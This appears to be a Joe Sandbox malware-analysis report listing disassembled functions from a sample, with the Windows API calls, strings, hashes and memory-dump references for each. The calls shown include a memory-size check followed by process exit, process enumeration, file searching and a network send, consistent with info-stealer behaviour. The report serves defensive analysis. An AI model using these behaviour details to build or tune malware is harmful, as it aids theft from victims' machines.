Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID: HLk
API String ID: 4203777966-124042675
Opcode ID: 13e51081194cd06d29c13e159b6ce104b23964a74dea004d01e27346c2fc41d9
Instruction ID: 510a2b572f0c71f37e6f5bfb09c50c08fbf770ddbbbc81c5ec404ddd65b212de
Opcode Fuzzy Hash: 13e51081194cd06d29c13e159b6ce104b23964a74dea004d01e27346c2fc41d9
Instruction Fuzzy Hash: B401D672A44644ABC710EF99ED45B9DFBB8FB45B21F00026AFE15D3780D77459008BA1

Function 0069E6E0 Relevance: 6.2, APIs: 4, Instructions: 150stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0069E724
lstrcpy.KERNEL32(00000000,?), ref: 0069E753
lstrcatA.KERNEL32(?,00000000), ref: 0069E761
lstrcatA.KERNEL32(?,01260B58), ref: 0069E77C

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 09b1a088edf143f1457f534c2e37a55728615ca42c941bf628f760cc80c7598f
Instruction ID: 3976c167874ac7fc4f6c8fcc08fcead92ade7309fb2d6a7039b22adc85f7f593
Opcode Fuzzy Hash: 09b1a088edf143f1457f534c2e37a55728615ca42c941bf628f760cc80c7598f
Instruction Fuzzy Hash: 3151A6B5A10108AFDB94FB64DC52AEE37BEFF48310F04465CB90997241DE70AE81CB95

Function 006A4690 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,00000000), ref: 006A46A2
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006A46BD
CloseHandle.KERNEL32(00000000), ref: 006A46C4
lstrcpy.KERNEL32(00000000,?), ref: 006A46F7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcesslstrcpy
String ID:
API String ID: 4028989146-0
Opcode ID: 8bbf9b6c193fcfc75236fa90b417ed558afcab5d7f0591f9b23d6129815fe213
Instruction ID: 7c4ab29257e4f15e30039b5bb1d2408e621f82472adb0286f2fe26bb261effa5
Opcode Fuzzy Hash: 8bbf9b6c193fcfc75236fa90b417ed558afcab5d7f0591f9b23d6129815fe213
Instruction Fuzzy Hash: 3AF0FCB09016156BE7207B749C4DBE577A9BF56300F001290FB85D6280DFF09C85CB94

Function 00693520 Relevance: 5.5, APIs: 4, Instructions: 486stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

lstrcpy.KERNEL32(00000000,?), ref: 00693572
lstrcpy.KERNEL32(00000000,?), ref: 0069359B
lstrcpy.KERNEL32(00000000,?), ref: 006935C1
lstrcpy.KERNEL32(00000000,?), ref: 006935E7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 9ccfaa334fc97bf054ae52de00764b17ba20d1c4200fd04e2626b5f41930f23c
Instruction ID: 5ac12a80b609d03c648c157df44cb6a1c444fbd502f9033c4c2433043dea2266
Opcode Fuzzy Hash: 9ccfaa334fc97bf054ae52de00764b17ba20d1c4200fd04e2626b5f41930f23c
Instruction Fuzzy Hash: 54121A70A012218FDF28CF19C554B65B7EABF44328B29C1ADE849DB7A2D772DD42CB44

Function 006810C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 006810EA
ExitProcess.KERNEL32 ref: 00681114

Strings

@, xrefs: 006810E2

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: f046b2f93d9c4533e94a303bb34a5c7419c4a856023a5975dac99da0cc3718a2
Instruction ID: 8e674228c96cabd1148e210c76eea85fcfcad48c063f96deaead3459c8f0baa8
Opcode Fuzzy Hash: f046b2f93d9c4533e94a303bb34a5c7419c4a856023a5975dac99da0cc3718a2
Instruction Fuzzy Hash: 8CF02E7010824457E7107A64DC0D31DF7DEE712350F200729DEDAC6280FA30C8429327

Function 006A5327 Relevance: 4.6, APIs: 3, Instructions: 59networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,?,00000000), ref: 006A5386
closesocket.WS2_32(00000000), ref: 006A5392
WSACleanup.WS2_32 ref: 006A5398

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Cleanupclosesocketsend
String ID:
API String ID: 869633743-0
Opcode ID: 57fc3642ecaa59b29644472d144a84fc4e6d964844079764d31d6a5efa0ccf40
Instruction ID: b32598b085533de32b117853bcb4275a1f3ddcd8d52b5172a34c1a0801204436
Opcode Fuzzy Hash: 57fc3642ecaa59b29644472d144a84fc4e6d964844079764d31d6a5efa0ccf40
Instruction Fuzzy Hash: 6A216A319101288BCF90FB24CC41AEDB336FF95310F9086E8E809A7511EB702E85CFA5

Function 6C453060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C453095

Part of subcall function 6C4535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DF688,00001000), ref: 6C4535D5
Part of subcall function 6C4535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4535E0
Part of subcall function 6C4535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4535FD
Part of subcall function 6C4535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C45363F
Part of subcall function 6C4535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C45369F
Part of subcall function 6C4535A0: __aulldiv.LIBCMT ref: 6C4536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C45309F

Part of subcall function 6C475B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4756EE,?,00000001), ref: 6C475B85
Part of subcall function 6C475B50: EnterCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475B90
Part of subcall function 6C475B50: LeaveCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475BD8
Part of subcall function 6C475B50: GetTickCount64.KERNEL32 ref: 6C475BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4530BE

Part of subcall function 6C4530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C453127
Part of subcall function 6C4530F0: __aulldiv.LIBCMT ref: 6C453140

Part of subcall function 6C48AB2A: __onexit.LIBCMT ref: 6C48AB30

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 45ac4b3f0566ebb045ede21f0ab2e1fc26bc5761dbe4e5b231a54ea7e154afb0
Instruction ID: 4f74803f7fc0278b914009d0aca87902931083eb99ccd2f5c3dc0beb46b6f262
Opcode Fuzzy Hash: 45ac4b3f0566ebb045ede21f0ab2e1fc26bc5761dbe4e5b231a54ea7e154afb0
Instruction Fuzzy Hash: 72F0D612E2674896DA20FF748841AE6B770AF6B118B54931DF84467A61FB2071D9C3D1

Function 006A5C70 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 22stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 006A5C78

Part of subcall function 006A5AA0: memmove.MSVCRT(?,?,?,00000000), ref: 006A5AE7

Strings

Pj, xrefs: 006A5C7E
HTTP/1.1Host: , xrefs: 006A5C75

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: memmovestrlen
String ID: HTTP/1.1Host: $Pj
API String ID: 3405231851-2251576531
Opcode ID: a781f6288901d055794c0007c41379fe4262f44771656ed6d40a62d212e7196b
Instruction ID: 26019b9fb95dfffaf674edcedc137fe1bd29ea628a602b1ef43facea0b080941
Opcode Fuzzy Hash: a781f6288901d055794c0007c41379fe4262f44771656ed6d40a62d212e7196b
Instruction Fuzzy Hash: 0FE08C703042045FD360AFA8E844B27BBEDEF416A8F000529F64AC7742D7B5A90487E2

Function 006824E0 Relevance: 4.1, APIs: 3, Instructions: 395stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

lstrcpy.KERNEL32(00000000,?), ref: 00682528
lstrcpy.KERNEL32(00000000,?), ref: 0068254E
lstrcpy.KERNEL32(00000000,?), ref: 00682577

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 392d5f1513e8246a255404669e1ea6eb151412e7e5f1c8c1b7287313917a474c
Instruction ID: 37d2880ea95d7161b94adbf64ee9600fe802542993bc70de84de5f468d54f45a
Opcode Fuzzy Hash: 392d5f1513e8246a255404669e1ea6eb151412e7e5f1c8c1b7287313917a474c
Instruction Fuzzy Hash: 88F1FC74A012028FDB28DF19C564B65B7E6BF44718B19C2AED809DB3A2D776DC82CF44

Function 0069D2E0 Relevance: 4.1, APIs: 3, Instructions: 389stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

lstrcpy.KERNEL32(00000000,?), ref: 0069D324
lstrcpy.KERNEL32(00000000,?), ref: 0069D346
lstrcpy.KERNEL32(00000000,?), ref: 0069D367

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0272a1ee7a40ed2a8f0dec735bf564959b0466bf1ab1a0bdc009f962f9b62ee1
Instruction ID: aa9c11a4b646cb9c10bf0d0dae91a9265b9fc26928bbfbc437816076c6842454
Opcode Fuzzy Hash: 0272a1ee7a40ed2a8f0dec735bf564959b0466bf1ab1a0bdc009f962f9b62ee1
Instruction Fuzzy Hash: C4F1F870A012018FDF28CF19C554B65B7EABF45728B19C1AED849DBBA2D736EC42CB44

Function 0069BDB0 Relevance: 3.8, APIs: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0069BE49
lstrcpy.KERNEL32(00000000,?), ref: 0069BE79
lstrcpy.KERNEL32(00000000,?), ref: 0069BEA4

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d203e7a72b6443e6c97e52eb830cab5d52bc99212a88606402c566913ee64239
Instruction ID: 56628513d84bd896b938d86a1bcf8034bf2dd0e8050678e874ab6c1162f4fe09
Opcode Fuzzy Hash: d203e7a72b6443e6c97e52eb830cab5d52bc99212a88606402c566913ee64239
Instruction Fuzzy Hash: B031DF70A102168BCB65FF69E9D659E77F6EF58300F10526CF549AB312CB30ED408B84

Function 0069D1E0 Relevance: 3.1, APIs: 2, Instructions: 83stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0069D1FC

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Part of subcall function 0069CDD0: wsprintfA.USER32 ref: 0069CDEC
Part of subcall function 0069CDD0: FindFirstFileA.KERNEL32(?,?), ref: 0069CE03
Part of subcall function 0069CDD0: lstrcatA.KERNEL32(?,?), ref: 0069CE4F
Part of subcall function 0069CDD0: StrCmpCA.SHLWAPI(?,006B17A8), ref: 0069CE61
Part of subcall function 0069CDD0: StrCmpCA.SHLWAPI(?,006B17AC), ref: 0069CE7B
Part of subcall function 0069CDD0: wsprintfA.USER32 ref: 0069CEA0
Part of subcall function 0069CDD0: PathMatchSpecA.SHLWAPI(?,0125D7D8), ref: 0069CED2
Part of subcall function 0069CDD0: CoInitialize.OLE32(00000000), ref: 0069CEDE
Part of subcall function 0069CDD0: CoUninitialize.COMBASE ref: 0069CEF9
Part of subcall function 0069CDD0: lstrcatA.KERNEL32(?,?), ref: 0069CF1E
Part of subcall function 0069CDD0: lstrlenA.KERNEL32(?), ref: 0069CF2B

strtok_s.MSVCRT ref: 0069D255

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatstrtok_swsprintf$FileFindFirstInitializeMatchPathSpecUninitializelstrlen
String ID:
API String ID: 2262385064-0
Opcode ID: fdcf79abedb43f76b58a4e457751cfbc89e62e17ea6263398da68517530ed4ba
Instruction ID: e94296433289f53b99db534dbdc907dc0e62ae6953100e1519bc73a37e9eb26d
Opcode Fuzzy Hash: fdcf79abedb43f76b58a4e457751cfbc89e62e17ea6263398da68517530ed4ba
Instruction Fuzzy Hash: 5E217FB1610109ABCB64FF69DD92EDE77FAEF48300F405228BD0597251DB30ED458BA5

Function 006A4250 Relevance: 3.0, APIs: 2, Instructions: 39stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 006A427D
lstrcpy.KERNEL32(00000000,?), ref: 006A42B2

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 0bfa547740ed24d8489b63c6f3a036bbb7aabc5c8c550d6393e6c9ed4ce3c001
Instruction ID: e3d85337e1f7cbeb239d224cdb397d879de377d6a0f85cf42e4325d50695af6b
Opcode Fuzzy Hash: 0bfa547740ed24d8489b63c6f3a036bbb7aabc5c8c550d6393e6c9ed4ce3c001
Instruction Fuzzy Hash: B9F0C8709102886BEB11EBA4DC597AD77FCAB85300F105AA8E549D32C1EA709F428F40

Function 006A33C0 Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,00000000,00000000,?), ref: 006A33EF
wsprintfA.USER32 ref: 006A3405

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
